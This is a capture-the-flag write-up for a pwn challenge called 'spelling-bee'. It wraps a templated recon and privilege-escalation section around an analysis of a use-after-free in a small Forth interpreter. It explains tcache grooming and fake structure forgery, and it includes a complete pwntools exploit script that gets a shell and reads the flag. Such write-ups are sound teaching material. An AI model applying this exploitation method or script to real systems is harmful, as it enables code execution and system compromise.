spelling-bee
spelling-bee
Platform: B01Lersc | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: fake_structure_forgery, tcache_grooming, use_after_free_exploitation
Summary
Task: a tiny Forth interpreter with user-defined words, deletion, and a startup leak of dosys(). Solution: exploit a use-after-free in forget, groom tcache to reclaim a stale word_t as name chunks, forge a fake word_t, and redirect execution to dosys("sh").
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_spelling_bee - Tags: pie, interpreter, use_after_free, tcache, forth
- Indicators: compiled words store raw word_t pointers, forget frees referenced words, startup banner leaks dosys(), same tcache bin for word_t and dict_t
- Source:
20260418_b01lersc_spelling_bee.md
Foothold
Vulnerability / Misconfiguration
- Fake_structure_forgery
- Tcache_grooming
- Use_after_free_exploitation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- fake_structure_forgery
- tcache_grooming
- use_after_free_exploitation
- Tags: pie, interpreter, use_after_free, tcache, forth
Original Writeup
<details><summary>Click to expand original content</summary>Description
The original organizer description was not preserved in the task directory.
We are given a small Forth-like interpreter implemented in C. The goal is to study how user-defined words are compiled and deleted, then turn a memory-management bug into code execution and read the flag.
Analysis
The core runtime object is:
typedef struct word {
long flags;
long length;
long referenced_by;
void (*code)(void *);
void *param;
} word_t;
Dictionary entries are stored separately as:
typedef struct dictionary {
char *name;
word_t *word;
struct dictionary *next;
bool alloc_name;
} dict_t;
When the interpreter compiles a new word, it appends raw word_t * pointers into compile_def. There is no indirection layer: compiled words directly reference the original word_t objects.
That would still be safe if deletion respected ownership, but delete_word() does not check referenced_by before freeing the target word. So if word a was compiled to call word b, then forget b frees b even though a still contains a pointer to b.word_t. This is a classic dangling-pointer bug and gives us a use-after-free primitive.
The challenge also prints the runtime address of dosys() at startup:
printf("%p\n", dosys);
That immediately leaks the PIE base, so we can compute both dosys and the address of g_stack.
The heap layout is especially convenient:
sizeof(word_t)lands in the0x30tcache bin.sizeof(dict_t)also lands in the0x30tcache bin.- The initial
compile_defallocation for a freshly compiled word lands in the0x90tcache bin.
The exploit relies on careful tcache grooming. We create several helper words, then compile b, and then compile a so that a contains a stale raw pointer to b.word_t. After that, we free enough same-size chunks to control tcache counts. The important part is that forgetting b places b.word_t into the 0x30 tcache bin while b.dict_t spills instead of reclaiming the same slot, preserving the stale chunk for later reuse.
Once that freed b.word_t chunk is available, we reclaim it as a short name allocation three times and progressively overwrite the stale structure in place.
Forgery plan
We choose a writable g_stack cell whose low six bytes contain no whitespace or NUL, because tokens are parsed with %s. Then we perform three reclaim stages:
- Stage A: write the low bytes of
paramso the forgedword_tpoints at the choseng_stackcell. - Stage B: write the low bytes of
dosysintocodeand zero one remaining byte. - Stage C: write the low bytes of
dosysagain and zero the last remainingcodebyte.
After these writes, the dangling pointer inside a now resolves to a fake word_t whose code is dosys and whose param points into g_stack.
Finally, pushing decimal 26739 places 0x6873 on the selected stack cell, which is the string "sh" in little endian. Calling the stale word a therefore executes dosys("sh"), which reaches system("sh").
From the resulting shell, cat flag* prints the flag.
Solution
The exploit script below implements the full attack:
#!/usr/bin/env python3
from pwn import *
HOST = "spelling-bee.opus4-7.b01le.rs"
PORT = 8443
DOSYS_OFF = 0x146B
GSTACK_OFF = 0x5100
BAD = set(b" \t\r\n\x0b\x0c\x00")
def good(bs: bytes) -> bool:
return all(b not in BAD for b in bs)
def pick_stack_target(base: int):
g_stack = base + GSTACK_OFF
for off in range(8, 8 * 64, 8):
addr = g_stack + off
low6 = p64(addr)[:6]
if good(low6):
return addr, off // 8
raise RuntimeError("no usable g_stack cell")
def main():
io = remote(HOST, PORT, ssl=True)
io.recvuntil(b"implement them for me?\n")
dosys = int(io.recvline().strip(), 16)
base = dosys - DOSYS_OFF
target, cell = pick_stack_target(base)
log.info(f"dosys = {hex(dosys)}")
log.info(f"base = {hex(base)}")
log.info(f"target = {hex(target)} (cell {cell})")
n1 = b"A" * 24 + b"B" * 8 + p64(target)[:6]
n2 = b"A" * 24 + p64(dosys)[:6] + b"X"
n3 = b"A" * 24 + p64(dosys)[:6]
assert len(n1) == 38 and good(n1)
assert len(n2) == 31 and good(n2)
assert len(n3) == 30 and good(n3)
tokens = [
b":", b"f1", b";",
b":", b"f2", b";",
b":", b"f3", b";",
b":", b"f4", b";",
b":", b"f5", b";",
b":", b"b", b";",
b":", b"a", b"b", b";",
b"forget", b"f1",
b"forget", b"f2",
b"forget", b"f3",
b"forget", b"b",
b":", n1, b";",
b"forget", b"f4",
b":", b"t1", b"1", b";",
b"forget", b"t1",
b"forget", n1,
b":", n2, b";",
b"forget", b"f5",
b":", b"t2", b"1", b";",
b"forget", b"t2",
b"forget", n2,
b":", n3, b";",
]
for _ in range(cell - 1):
tokens.append(b"0")
tokens.append(str(0x6873).encode())
tokens.append(b"a")
io.send(b" ".join(tokens) + b"\n")
io.sendline(b"cat flag*; exit")
print(io.recvrepeat(2).decode(errors="ignore"))
if __name__ == "__main__":
main()
Step-by-step
- Read the startup leak and compute the PIE base from
dosys. - Pick a usable
g_stackcell whose address bytes are safe inside a token. - Build word
b, then wordathat referencesb, soastores a raw pointer tob.word_t. - Free helper chunks to shape the
0x30tcache state. forget band leave a danglingword_t *insidea.- Reclaim the freed
b.word_tchunk as short name allocations three times, forgingparamand thencode. - Push
26739so the chosen stack cell contains"sh". - Invoke
a, which now dispatches to forgeddosys("sh"). - From the shell, run
cat flag*.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR